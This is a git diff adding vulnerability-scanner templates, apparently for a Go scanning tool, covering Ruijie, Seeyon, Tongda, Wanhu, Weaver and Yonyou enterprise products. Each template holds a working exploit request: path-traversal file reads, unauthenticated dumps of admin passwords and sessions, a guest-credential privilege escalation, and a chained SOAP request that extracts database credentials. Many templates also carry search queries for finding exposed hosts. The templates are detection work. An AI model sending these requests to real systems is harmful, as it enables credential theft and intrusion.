-0,0 +1,19 @@ +id: kubernetes-version + +info: + name: Kubernetes Version Exposure + author: raesene + severity: info + verified: true + description: |- + Searches for exposed Kubernetes API servers which return version information unauthenticated + tags: kubernetes,version,detect + created: 2024/01/05 + +rules: + r0: + request: + method: GET + path: /version + expression: response.status == 200 && response.body.bcontains(b"gitVersion") && response.body.bcontains(b"goVersion") && response.body.bcontains(b"platform") +expression: r0() diff --git a/webscan/pocs/ruijie-eg-password-leak.yaml b/webscan/pocs/ruijie-eg-password-leak.yaml new file mode 100644 index 0000000..4f875ac --- /dev/null +++ b/webscan/pocs/ruijie-eg-password-leak.yaml @@ -0,0 +1,21 @@ +id: ruijie-eg-password-leak + +info: + name: Ruijie EG Information Disaclosure + author: Search?=Null + severity: high + verified: true + description: |- + fofa: app="Ruijie-EG易网关" + tags: ruijie,disclosure + created: 2023/10/29 + +rules: + r0: + request: + method: POST + path: /login.php + body: | + username=admin&password=admin?show+webmaster+user + expression: response.status == 200 && response.body.bcontains(b'"data":') && response.body.bcontains(b'admin') && response.body.bcontains(b'"status":') +expression: r0() diff --git a/webscan/pocs/ruijie-excu-shell-disclosure.yaml b/webscan/pocs/ruijie-excu-shell-disclosure.yaml new file mode 100644 index 0000000..ba65074 --- /dev/null +++ b/webscan/pocs/ruijie-excu-shell-disclosure.yaml @@ -0,0 +1,21 @@ +id: ruijie-excu-shell-disclosure + +info: + name: 锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露 + author: zan8in + severity: high + verified: true + tags: ruijie,disclosure + created: 2023/09/03 + +rules: + r0: + request: + method: GET + path: /EXCU_SHELL + headers: + Cmdnum: '1' + Command1: show running-config + Confirm1: n + expression: response.status == 200 && response.body.bcontains(b"Building configuration") && response.body.bcontains(b"Current configuration") +expression: r0()+ diff --git a/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yaml b/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yaml new file mode 100644 index 0000000..28e9400 --- /dev/null +++ b/webscan/pocs/ruijie-nbr1300g-cli-password-leak.yaml @@ -0,0 +1,23 @@ +id: ruijie-nbr1300g-cli-password-leak + +info: + name: ruijie-nbr1300g-cli-password-leak + author: abbin777 + severity: high + verified: true + description: |- + 锐捷NBR 1300G路由器 越权CLI命令执行漏洞，guest账户可以越权获取管理员账号密码 + fofa: title="锐捷网络 --NBR路由器--登录界面" || app="Ruijie-NBR路由器" + tags: ruijie,disclosure + created: 2023/10/29 + +rules: + r0: + request: + method: POST + path: /WEB_VMS/LEVEL15/ + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + body: command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant. + expression: response.status == 200 && "webmaster level ([0-9]) username".bmatches(response.body) +expression: r0() diff --git a/webscan/pocs/ruijie-smartweb-password-disclosure.yaml b/webscan/pocs/ruijie-smartweb-password-disclosure.yaml new file mode 100644 index 0000000..d5f742e --- /dev/null +++ b/webscan/pocs/ruijie-smartweb-password-disclosure.yaml @@ -0,0 +1,23 @@ +id: ruijie-smartweb-password-disclosure + +info: + name: Ruijie smartweb password information disclosure + author: zan8in + severity: high + verified: true + description: |- + 锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。 + fofa: app="Ruijie-WiFi" && title="无线smartWeb--登录页面" + tags: ruijie,disclosure + created: 2023/10/29 + +rules: + r0: + request: + method: GET + path: /web/xml/webuser-auth.xml + headers: + Cookie: "login=1; oid=1.3.6.1.4.1.4881.1.1.10.1.3; type=WS5302; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest" + expression: | + response.status == 200 && response.body.bcontains(b'<![CDATA[ admin]]>') +expression: r0() diff --git a/webscan/pocs/seeyon-a6-downexcelbeansevlet-disclosure.yaml b/webscan/pocs/seeyon-a6-downexcelbeansevlet-disclosure.yaml new file mode 100644 index 0000000..617508d --- /dev/null +++ b/webscan/pocs/seeyon-a6-downexcelbeansevlet-disclosure.yaml @@ -0,0 +1,24 @@ +id: seeyon-a6-downexcelbeansevlet-disclosure + +info: + name: 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露 + author: sakura404x + severity: high + verified: true + description: |- + fofa: app="致远互联-OA" + tags: seeyon,disclosure + created: 2023/10/29 + requires: [seeyon] + requires-mode: opportunistic + +rules: + r0: + request: + method: GET + path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 + expression: | + response.status == 200 && + response.body.bcontains(b"[Content_Types].xml") && + response.body.bcontains(b"Excel.Sheet") +expression: r0() diff --git a/webscan/pocs/seeyon-config-disclosure.yaml b/webscan/pocs/seeyon-config-disclosure.yaml new file mode 100644 index 0000000..6de4a1a --- /dev/null +++ b/webscan/pocs/seeyon-config-disclosure.yaml @@ -0,0 +1,25 @@ +id: seeyon-config-disclosure + +info: + name: 致远OA A6 config.jsp 敏感信息泄漏漏洞 + author: zan8in + severity: high + verified: true + description: | + 致远OA A6 config.jsp页面可未授权访问，导致敏感信息泄漏漏洞，攻击者通过漏洞可以获取服务器中的敏感信息 + fofa: body="yyoa" && app="致远互联-OA" + tags: seeyon,a6,config,disclosure + created: 2023/05/26 + requires: [seeyon] + requires-mode: opportunistic + +rules: + r0: + request: + method: GET + path: /yyoa/ext/trafaxserver/SystemManage/config.jsp + expression: | + response.status == 200 && + response_text.contains('DatabaseName=') && + response_text.contains("<li>点击确定即可保存您修改的配置信息</li>") +expression: r0() diff --git a/webscan/pocs/seeyon-getsessionlist-session-disclosure.yaml b/webscan/pocs/seeyon-getsessionlist-session-disclosure.yaml new file mode 100644 index 0000000..0418817 --- /dev/null +++ b/webscan/pocs/seeyon-getsessionlist-session-disclosure.yaml @@ -0,0 +1,25 @@ +id: seeyon-getsessionlist-session-disclosure + +info: + name: 致远OA getSessionList.jsp Session泄漏 + author: sakura404x + severity: high + verified: true + description: |- + 确定漏洞,使用session登录主页即可 (http://x.x.x.x/yyoa/portal/portalIndex.jsp), Cookie(JSESSIONID=XXXXXXXXXXXXXXXXXXXXXXXXXX) + fofa: app="致远互联-OA" + reference: + - https://mp.weixin.qq.com/s/V1bp8NedoNULf4G4cq8X1g + tags: seeyon,disclosure + created: 2023/10/29 + +rules: + r0: + request: + method: GET + path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll + expression: | + response.status == 200 && + response.body.bcontains(b"<usrID>") && + response.body.bcontains(b"<sessionID>") +expression: r0() diff --git a/webscan/pocs/seeyon-initdataaccess-disclosure.yaml b/webscan/pocs/seeyon-initdataaccess-disclosure.yaml new file mode 100644 index 0000000..e778508 --- /dev/null +++ b/webscan/pocs/seeyon-initdataaccess-disclosure.yaml @@ -0,0 +1,25 @@ +id: seeyon-initdataaccess-disclosure + +info: + name: 致远OA A6 initDataAssess.jsp 用户敏感信息泄露 + author: zan8in + severity: high + verified: false + description: | + 致远OA A6 initDataAssess.jsp 用户敏感信息泄露 + fofa: app="致远OA-A6" + tags: seeyon,disclosure + created: 2025/03/13 + requires: [seeyon] + requires-mode: opportunistic + +rules: + r0: + request: + method: GET + path: /yyoa/assess/js/initDataAssess.jsp + expression: | + response.status == 200 && + response.body.bcontains(b'personList') && + response.body.bcontains(b'personHash.Add') +expression: r0() diff --git a/webscan/pocs/seeyon-version.yaml b/webscan/pocs/seeyon-version.yaml new file mode 100644 index 0000000..3813de3 --- /dev/null +++ b/webscan/pocs/seeyon-version.yaml @@ -0,0 +1,25 @@ +id: seeyon-version + +info: + name: Seeyon Version + author: zan8in + severity: info + verified: true + tags: seeyon,version,fingerprint + created: 2024/04/16 + +rules: + r0: + request: + method: GET + path: /seeyon/main.do?method=showAbout + expression: | + response.status == 200 && + response.body.bcontains(b'>Build Id:</td>') && + response_text.contains('>注册数:</td>') + extractors: + - type: regex + extractor: + search: '"<td width=\"75%\"> (?P<version>.*?)</td>".submatch(response_text)' + v: search["version"] +expression: r0() diff --git a/webscan/pocs/solr-admin-query.yaml b/webscan/pocs/solr-admin-query.yaml new file mode 100644 index 0000000..8848ef3 --- /dev/null +++ b/webscan/pocs/solr-admin-query.yaml @@ -0,0 +1,26 @@ +id: solr-admin-query + +info: + name: Solr Admin Query Page + author: dhiyaneshDK + severity: high + verified: false + description: | + Solr Admin Query Page is accessible. + reference: + - https://www.exploit-db.com/ghdb/5856 + tags: solr,admin,query,unauthorized + created: 2023/05/26 + +rules: + r0: + request: + method: GET + path: /admin/ + expression: response.status == 200 && response.body.bcontains(b'<title>Solr admin page') + r1: + request: + method: GET + path: /solr/admin/ + expression: response.status == 200 && response.body.bcontains(b'Solr admin page') +expression: r0() && r1() diff --git a/webscan/pocs/spark-api-unauth.yaml b/webscan/pocs/spark-api-unauth.yaml new file mode 100644 index 0000000..f3df322 --- /dev/null +++ b/webscan/pocs/spark-api-unauth.yaml @@ -0,0 +1,19 @@ +id: spark-api-unauth + +info: + name: spark Api Unauth + author: betta + severity: high + verified: false + description: |- + spark Api Unauth + tags: spark,api,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /v1/submissions + expression: response.status == 400 && response.body.bcontains(b"Missing an action") && response.body.bcontains(b"serverSparkVersion") +expression: r0() diff --git a/webscan/pocs/spark-webui-unauth.yaml b/webscan/pocs/spark-webui-unauth.yaml new file mode 100644 index 0000000..f8726d2 --- /dev/null +++ b/webscan/pocs/spark-webui-unauth.yaml @@ -0,0 +1,21 @@ +id: spark-webui-unauth +info: + name: Spark WebUI Unauthenticated + author: princechaddha + severity: medium + verified: false + reference: + - https://github.com/vulhub/vulhub/tree/master/spark/unacc + - https://www.secpod.com/blog/unauthenticated-access-to-apache-spark-web-ui/ + description: |- + Apache Spark WebUI Unauthenticated + tags: spark,webui,unauth + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: / + expression: response.status == 200 && response.body.bcontains(b"Spark Master at spark://") && response.body.bcontains(b"<strong>URL:</strong>") +expression: r0() diff --git a/webscan/pocs/tongda-contact-list-disclosure.yaml b/webscan/pocs/tongda-contact-list-disclosure.yaml new file mode 100644 index 0000000..0ee0e5a --- /dev/null +++ b/webscan/pocs/tongda-contact-list-disclosure.yaml @@ -0,0 +1,20 @@ +id: tongda-contact-list-disclosure + +info: + name: 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞 + author: zan8in + severity: high + verified: true + description: | + 通达OA v2014 get_contactlist.php文件存在信息泄漏漏洞，攻击者通过漏洞可以获取敏感信息，进一步攻击 + fofa: app="TDXK-通达OA" + tags: tongda,oa,contact,list,disclosure + created: 2025/03/13 + +rules: + r0: + request: + method: GET + path: /mobile/inc/get_contactlist.php?P=1&KWORD=%25&isuser_info=3 + expression: response.status == 200 && response.body.bcontains(b'"user_uid":') && response.body.bcontains(b'"user_name":') && response.body.bcontains(b'"priv_name":') && response.body.bcontains(b'"dept_name":') +expression: r0() diff --git a/webscan/pocs/tongda-down-php-unauthorized-access.yaml b/webscan/pocs/tongda-down-php-unauthorized-access.yaml new file mode 100644 index 0000000..f794076 --- /dev/null +++ b/webscan/pocs/tongda-down-php-unauthorized-access.yaml @@ -0,0 +1,23 @@ +id: tongda-down-php-unauthorized-access + +info: + name: 通达OA down.php存在未授权访问漏洞 + author: Y3y1ng + severity: high + verified: true + description: |- + 通达OA（Office Anywhere网络智能办公系统） inc/package/down.php 接口存在未授权访问漏洞，通过此漏洞攻击者构造特殊链接，下载敏感文件，获取企业员工个人信息。 + Fofa: app="TDXK-通达OA" + reference: + - https://mp.weixin.qq.com/s/YiPk8YRzgLEdwVWA-F-4XA + tags: tongda + created: 2023/12/04 +rules: + r0: + request: + method: GET + path: /inc/package/down.php?id=../../../cache/org + expression: | + response.status == 200 && + response.raw_header.bcontains(b'org.zip') +expression: r0()+ diff --git a/webscan/pocs/tongda-path-traversal.yaml b/webscan/pocs/tongda-path-traversal.yaml new file mode 100644 index 0000000..fd873af --- /dev/null +++ b/webscan/pocs/tongda-path-traversal.yaml @@ -0,0 +1,23 @@ +id: tongda-path-traversal + +info: + name: Office Anywhere TongDa - Path Traversal + author: pikpikcu + severity: high + verified: true + description: | + Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution. + reference: + - https://github.com/jas502n/OA-tongda-RCE + tags: tongda,oa,path,traversal + created: 2025/03/13 + +rules: + r0: + request: + method: POST + path: /ispirit/interface/gateway.php + body: | + json={"url":"/general/../../mysql5/my.ini"} + expression: response.status == 200 && response.body.bcontains(b'[mysql]') && response.body.bcontains(b'password=') && response.headers["content-type"].contains("text/html") +expression: r0() diff --git a/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml b/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml new file mode 100644 index 0000000..60efba3 --- /dev/null +++ b/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml @@ -0,0 +1,21 @@ +id: wanhu-evointerfaceservlet-unauth + +info: + name: 万户 OA 未授权访问获取所有账户密码 + author: zan8in + severity: high + verified: true + tags: wanhu,unauth + created: 2024/01/07 + +rules: + r0: + request: + method: GET + path: /defaultroot/evoInterfaceServlet?paramType=user + expression: | + response.status == 200 && + response.body.bcontains(b'result:') && + response.body.bcontains(b'data:') && + response.body.bcontains(b'"userList":') +expression: r0()+ diff --git a/webscan/pocs/wanhu-ezoffice-text2html-fileread.yaml b/webscan/pocs/wanhu-ezoffice-text2html-fileread.yaml new file mode 100644 index 0000000..5af925f --- /dev/null +++ b/webscan/pocs/wanhu-ezoffice-text2html-fileread.yaml @@ -0,0 +1,23 @@ +id: wanhu-ezoffice-text2html-fileread + +info: + name: 万户协同办公平台ezoffice text2Html接口任意文件读取 + author: zan8in + severity: high + verified: true + description: |- + 万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台ezoffice text2Html接口存在任意文件读取漏洞。 + Fofa: app="万户网络-ezOFFICE" + reference: + - https://mp.weixin.qq.com/s/m92W7sM8KWonMvNXbRPFlQ + tags: wanhu,ezoffice,text2html,fileread + created: 2024/02/28 + +rules: + r0: + request: + method: POST + path: /defaultroot/convertFile/text2Html.controller + body: saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=html + expression: response.status == 200 && response.body.bcontains(b'web-app xmlns=') && response.headers["content-type"].contains("text/html") +expression: r0() diff --git a/webscan/pocs/wanhu-oa-downloadhttp-file-read.yaml b/webscan/pocs/wanhu-oa-downloadhttp-file-read.yaml new file mode 100644 index 0000000..8541392 --- /dev/null +++ b/webscan/pocs/wanhu-oa-downloadhttp-file-read.yaml @@ -0,0 +1,19 @@ +id: wanhu-oa-downloadhttp-fileread + +info: + name: 万户OA downloadhttp.jsp 任意文件下载漏洞 + author: zan8in + severity: high + description: | + 万户OA downloadhttp.jsp文件存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件 + fofa: app="万户网络-ezOFFICE" + tags: wanhu,download,http,fileread + created: 2025/03/13 + +rules: + r0: + request: + method: GET + path: /defaultroot/site/templatemanager/downloadhttp.jsp?fileName=../public/edit/jsp/config.jsp + expression: response.status == 200 && response.body.bcontains(b'<%') && response.body.bcontains(b'//Username') && response.body.bcontains(b'//Password') +expression: r0() diff --git a/webscan/pocs/wanhu-oa-downloadservlet-file-read.yaml b/webscan/pocs/wanhu-oa-downloadservlet-file-read.yaml new file mode 100644 index 0000000..5e87488 --- /dev/null +++ b/webscan/pocs/wanhu-oa-downloadservlet-file-read.yaml @@ -0,0 +1,19 @@ +id: wanhu-oa-downloadservlet-fileread + +info: + name: 万户OA DownloadServlet 任意文件读取漏洞 + author: zan8in + severity: high + description: | + 万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息 + fofa: app="万户网络-ezOFFICE" + tags: wanhu,download,servlet,fileread + created: 2025/03/13 + +rules: + r0: + request: + method: GET + path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2 + expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url') +expression: r0() diff --git a/webscan/pocs/weaver-eoffice-officeserver-fileread.yaml b/webscan/pocs/weaver-eoffice-officeserver-fileread.yaml new file mode 100644 index 0000000..c060ddf --- /dev/null +++ b/webscan/pocs/weaver-eoffice-officeserver-fileread.yaml @@ -0,0 +1,25 @@ +id: weaver-eoffice-officeserver-fileread + +info: + name: 泛微OA E-Office officeserver.php 任意文件读取漏洞 + author: zan8in + severity: high + verified: true + description: |- + 泛微OA E-Office officeserver.php文件存在任意文件读取漏洞，攻击者通过漏洞可以下载服务器上的任意文件 + fofa: app="泛微-EOffice" + tags: weaver,eoffice,fileread + created: 2023/06/23 + +rules: + r0: + request: + method: GET + path: /iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini + expression: | + response.status == 200 && + response.body.bcontains(b'dataurl') && + response.body.bcontains(b'datauser') && + response.body.bcontains(b'datapassword') && + response.body.bcontains(b'dataname') +expression: r0() diff --git a/webscan/pocs/yonyou-maportal-unauth.yaml b/webscan/pocs/yonyou-maportal-unauth.yaml new file mode 100644 index 0000000..d2c216a --- /dev/null +++ b/webscan/pocs/yonyou-maportal-unauth.yaml @@ -0,0 +1,19 @@ +id: yonyou-maportal-unauth + +info: + name: 用友移动系统管理 maportal 未授权访问 + author: zan8in + severity: high + verified: true + description: |- + Fofa: "移动系统管理" + tags: yonyou,unauth + created: 2024/01/07 + +rules: + r0: + request: + method: GET + path: /maportal/ + expression: response.status == 200 && response.body.bcontains(b"欢迎你") && response.body.bcontains(b"管理员") +expression: r0()+ diff --git a/webscan/pocs/yonyou-mobsm-detect.yaml b/webscan/pocs/yonyou-mobsm-detect.yaml new file mode 100644 index 0000000..f8ae21c --- /dev/null +++ b/webscan/pocs/yonyou-mobsm-detect.yaml @@ -0,0 +1,23 @@ +id: yonyou-mobsm-detect + +info: + name: 用友移动系统管理 + author: lei_sec + severity: info + verified: true + description: |- + fofa: app="用友-移动系统管理" + tags: yonyou + created: 2023/07/07 + +rules: + r0: + request: + method: GET + path: /mobsm/html/login.jsp + expression: | + response.status == 200 && + response.body.bcontains(b'"/mobsm/login/home",') && + response.body.bcontains(b'"/mobsm/html/index.jsp";') && + response.body.bcontains(b'移动系统管理') +expression: r0() diff --git a/webscan/pocs/yonyou-nc-download-fileread.yaml b/webscan/pocs/yonyou-nc-download-fileread.yaml new file mode 100644 index 0000000..a8bc1a6 --- /dev/null +++ b/webscan/pocs/yonyou-nc-download-fileread.yaml @@ -0,0 +1,26 @@ +id: yonyou-nc-download-fileread + +info: + name: 用友NC download文件存在任意文件读取漏洞 + author: Y3y1ng + severity: high + verified: true + description: |- + 用友NC的download文件存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上的敏感文件。 + Fofa: app="用友-UFIDA-NC" + Hunter: web.title="YONYOU NC" + ZoomEye: app:"Yonyou NC httpd" + reference: + - https://mp.weixin.qq.com/s/oVRiOXEG9cxEtyE8q0UKZQ + tags: yonyou,fileread + created: 2023/12/04 +rules: + r0: + request: + method: GET + path: /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp + expression: | + response.status == 200 && + response.body.bcontains(b"response.addHeader") && + response.body.bcontains(b"request.getSession") +expression: r0()+ diff --git a/webscan/pocs/yonyou-nc-portalfile-fileread.yaml b/webscan/pocs/yonyou-nc-portalfile-fileread.yaml new file mode 100644 index 0000000..8a3de91 --- /dev/null +++ b/webscan/pocs/yonyou-nc-portalfile-fileread.yaml @@ -0,0 +1,18 @@ +id: yonyou-nc-portalfile-fileread + +info: + name: 用友NC portal/file 任意文件读取漏洞 + author: Wen + severity: high + reference: + - https://mp.weixin.qq.com/s/dA1R1uWYLl3YD9hGxPts2w + tags: yonyou,nc,fileread + created: 2024/01/22 + +rules: + r0: + request: + method: GET + path: /portal/file?cmd=getFileLocal&fileid=..%2F..%2F..%2F..%2Fwebapps/nc_web/WEB-INF/web.xml + expression: response.status == 200 && response.body.bcontains(b"<web-app") && response.body.bcontains(b"nc.bs.framework.server.WebApplicationStartupHook") +expression: r0() diff --git a/webscan/pocs/yonyou-nc-portalsesInittoolservice-disclosure.yaml b/webscan/pocs/yonyou-nc-portalsesInittoolservice-disclosure.yaml new file mode 100644 index 0000000..a7b0d76 --- /dev/null +++ b/webscan/pocs/yonyou-nc-portalsesInittoolservice-disclosure.yaml @@ -0,0 +1,30 @@ +id: yonyou-nc-portalsesInittoolservice-disclosure + +info: + name: 用友 portalsesInittoolservice 泄露数据库账号密码 + author: zan8in + severity: high + verified: true + description: | + 用友 portalsesInittoolservice 泄露数据库账号密码 + fofa: app="用友-UFIDA-NC" + tags: yonyou,disclosure + created: 2025/05/06 + +rules: + r0: + request: + method: POST + path: /uapws/service/nc.itf.ses.inittool.PortalSESInitToolService + body: | + <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:por="http://inittool.ses.itf.nc/PortalSESInitToolService"> + <soapenv:Header/> + <soapenv:Body> + <por:getDataSourceConfig/> + </soapenv:Body> + </soapenv:Envelope> + expression: | + response.status == 200 && + response.body.bcontains(b'<ns1:getDataSourceConfigResponse') && + response.body.bcontains(b'ns1:getDataSourceConfigResponse>') +expression: r0() diff --git a/webscan/pocs/yonyou-nc-word-docx-fileread.yaml b/webscan/pocs/yonyou-nc-word-docx-fileread.yaml new file mode 100644 index 0000000..bfca318 --- /dev/null +++ b/webscan/pocs/yonyou-nc-word-docx-fileread.yaml @@ -0,0 +1,27 @@ +id: yonyou-nc-word-docx-fileread + +info: + name: 用友NC word.docx存在任意文件读取漏洞 + author: Y3y1ng + severity: high + verified: true + description: |- + 用友 NC 前台存在open/word.docx文件读取漏洞，攻击者尝试拼接恶意请求实现任意文件读取，从而获取敏感文件路径信息。 + Fofa: body="UClient.dmg" + ZoomEye: app:"Yonyou NC httpd" + reference: + - https://mp.weixin.qq.com/s/RKAwMJoUivdzuQ6umuPKWw + tags: yonyou,fileread + created: 2023/12/04 + +rules: + r0: + request: + method: GET + path: /portal/docctr/open/word.docx?disp=/WEB-INF/web.xml + expression: | + response.status == 200 && + response.body.bcontains(b"<?xml") && + response.body.bcontains(b"encoding") && + response.body.bcontains(b"NC Portal") +expression: r0()+ diff --git a/webscan/pocs/yonyou-ncfindweb-fileread.yaml b/webscan/pocs/yonyou-ncfindweb-fileread.yaml new file mode 100644 index 0000000..c8c03f6 --- /dev/null +++ b/webscan/pocs/yonyou-ncfindweb-fileread.yaml @@ -0,0 +1,22 @@ +id: yonyou-ncfindweb-fileread + +info: + name: 用友 NC NCFindWeb 任意文件读取漏洞 + author: princechaddha + severity: high + verified: true + description: | + 用友 NC NCFindWeb 任意文件读取漏洞 + fofa: icon_hash="1085941792" + tags: yonyou,ncfindweb,fileread + created: 2023/05/26 + +rules: + r0: + request: + method: GET + path: /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml + expression: | + response.status == 200 && + response.body.bcontains(b'<web-app') && response.body.bcontains(b'</web-app>') +expression: r0() diff --git a/webscan/pocs/yonyou-u8-crm-getemaildata-fileread.yaml b/webscan/pocs/yonyou-u8-crm-getemaildata-fileread.yaml new file mode 100644 index 0000000..71ad191 --- /dev/null +++ b/webscan/pocs/yonyou-u8-crm-getemaildata-fileread.yaml @@ -0,0 +1,22 @@ +id: yonyou-u8-crm-getemaildata-fileread + +info: + name: 用友 U8 CRM客户关系管理系统 getemaildata.php 任意文件读取漏洞 + author: peiqi + severity: high + verified: true + description: | + 用友 U8 CRM客户关系管理系统 getemaildata.php 文件存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器权限，攻击服务器 + FOFA: body="用友U8CRM" + reference: + - https://peiqi.wgpsec.org/wiki/oa/用友OA/用友%20U8%20CRM客户关系管理系统%20getemaildata.php%20任意文件上传漏洞.html + tags: yonyou,fileread + created: 2023/08/13 + +rules: + r0: + request: + method: GET + path: /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini + expression: response.status == 200 && response.body.bcontains(b"bit app support") +expression: r0()+ diff --git a/webscan/pocs/yonyou-u8-datacache-disclosure.yaml b/webscan/pocs/yonyou-u8-datacache-disclosure.yaml new file mode 100644 index 0000000..a47681e --- /dev/null +++ b/webscan/pocs/yonyou-u8-datacache-disclosure.yaml @@ -0,0 +1,22 @@ +id: yonyou-u8-datacache-disclosure + +info: + name: 用友u8-crm存在信息泄露漏洞 + author: zan8in + severity: medium + verified: false + reference: + - https://mp.weixin.qq.com/s?__biz=Mzg2MjkwMDY3OA==&mid=2247484627&idx=1&sn=a1d79fb942c7395bfad77c748a501134&chksm=ce019c7af976156cec6cb6d1ff79ecf5afba6bae52dcf7fac4134f77314c53465472a7ef7774&cur_album_id=3090557023571722241&scene=189#wechat_redirect + tags: yonyou,disclosure + created: 2024/01/16 + +rules: + r0: + request: + method: GET + path: /datacache/solr.log + expression: | + response.status == 200 && + response.body.bcontains(b'Solr Index Req:') && + response.body.bcontains(b'<field name="id">') +expression: r0() diff --git a/webscan/pocs/yonyou-u9-getconnectionstring-disclosure.yaml b/webscan/pocs/yonyou-u9-getconnectionstring-disclosure.yaml new file mode 100644 index 0000000..c91e2ec --- /dev/null +++ b/webscan/pocs/yonyou-u9-getconnectionstring-disclosure.yaml @@ -0,0 +1,80 @@ +id: yonyou-u9-getconnectionstring-disclosure + +info: + name: 用友u9系统接口GetConnectionString存在信息泄露漏洞 + author: avic123 + severity: high + verified: true + description: | + 用友u9 GetConnectionString存在信息泄露漏洞，攻击者可通过该漏洞获取数据库连接信息包括数据库账号密码等敏感信息。 + fofa：body="logo-u9.png" + tags: yonyou,u9,disclosure + reference: + - https://blog.csdn.net/LiangYueSec/article/details/140199556 + created: 2025/03/14 + +rules: + r0: + request: + method: POST + path: /CS/Office/TransWebService.asmx + headers: + Content-Type: text/xml;charset=UTF-8 + SOAPAction: http://tempuri.org/GetEnterprise + body: | + <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"> + <soap:Header/> + <soap:Body> + <tem:GetEnterprise/> + </soap:Body> + </soap:Envelope> + + expression: | + response.status == 200 && response.body.bcontains(b'Code') + output: + search: '"\"Code\":\"(?P<code>.*?)\"".bsubmatch(response.body)' + code: search["code"] + + r1: + request: + method: POST + path: /CS/Office/TransWebService.asmx + headers: + Content-Type: text/xml;charset=UTF-8 + SOAPAction: http://tempuri.org/GetToken + body: | + <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"> + <soap:Header/> + <soap:Body> + <tem:GetToken> + <!--type: string--> + <tem:endId>{{code}}</tem:endId> + </tem:GetToken> + </soap:Body> + </soap:Envelope> + expression: | + response.status == 200 && response.body.bcontains(b'Token') + output: + search2: '"\"Token\":\"(?P<token>.*?)\"".bsubmatch(response.body)' + token: search2["token"] + r2: + request: + method: POST + path: /CS/Office/TransWebService.asmx + headers: + Content-Type: text/xml;charset=UTF-8 + SOAPAction: http://tempuri.org/GetConnectionString + body: | + <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"> + <soap:Header/> + <soap:Body> + <tem:GetConnectionString> + <!--type: string--> + <tem:token>{{token}}</tem:token> + </tem:GetConnectionString> + </soap:Body> + </soap:Envelope> + expression: | + response.status == 200 && response.body.bcontains(b'User Id') && response.body.bcontains(b'Password') + +expression: r0() && r1() && r2() diff --git a/webscan/pocs/yonyou-yonbip-detect.yaml b/webscan/pocs/yonyou-yonbip-detect.yaml new file mode 100644 index 0000000..817df9c --- /dev/null +++ b/webscan/pocs/yonyou-yonbip-detect.yaml @@ -0,0 +1,17 @@ +id: yonyou-iuap-detect + +info: + name: 用友 iuap + author: zan8in + severity: info + tags: yonyou,yonbip + created: 2024/11/29 + +rules: + r0: + request: + method: GET + path: /iuap-apcom-workbench + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(b"pageTitle = '欢迎登录';") && response.body.bcontains(b'<title>登录') && response.body.bcontains(b'/iuap-uuas-user/getpwd"') +expression: r0() diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 066a830..1f10e57 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -216,6 +216,25 @@ func TestBuildTargetURL(t *testing.T) { } } +func TestEmbeddedPocsLoad(t *testing.T) { + entries, err := pocsFS.ReadDir("pocs") + if err != nil { + t.Fatal(err) + } + + for _, entry := range entries { + if !isPocFile(entry.Name()) { + continue + } + + t.Run(entry.Name(), func(t *testing.T) { + if _, err := lib.LoadPoc(entry.Name(), pocsFS); err != nil { + t.Fatal(err) + } + }) + } +} + func TestBuildTargetURLErrors(t *testing.T) { tests := []struct { name string From 3ef7a1beeee8e95e40249f2123b51474237de224 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Thu, 16 Jul 2026 02:04:36 +0800 Subject: [PATCH 4/7] feat: expand internal network poc coverage --- webscan/pocs/THIRD_PARTY_NOTICES.md | 8 +-- webscan/pocs/docker-registry-api-unauth.yaml | 2 +- webscan/pocs/ecology-filedownload-lfi.yaml | 22 ++++++++ .../ecology-filedownloadforoutdoc-sqli.yaml | 44 ++++++++++++++++ webscan/pocs/ecology-getselectallid-sqli.yaml | 22 ++++++++ .../ecology-hrmcareerapplyperview-sqli.yaml | 22 ++++++++ ...gy-jqueryfiletree-directory-traversal.yaml | 24 +++++++++ webscan/pocs/ecology-resourceservlet-lfi.yaml | 21 ++++++++ .../ecology-signaturedownload-fileread.yaml | 25 +++++++++ ...ecology-verifyquicklogin-login-bypass.yaml | 21 ++++++++ 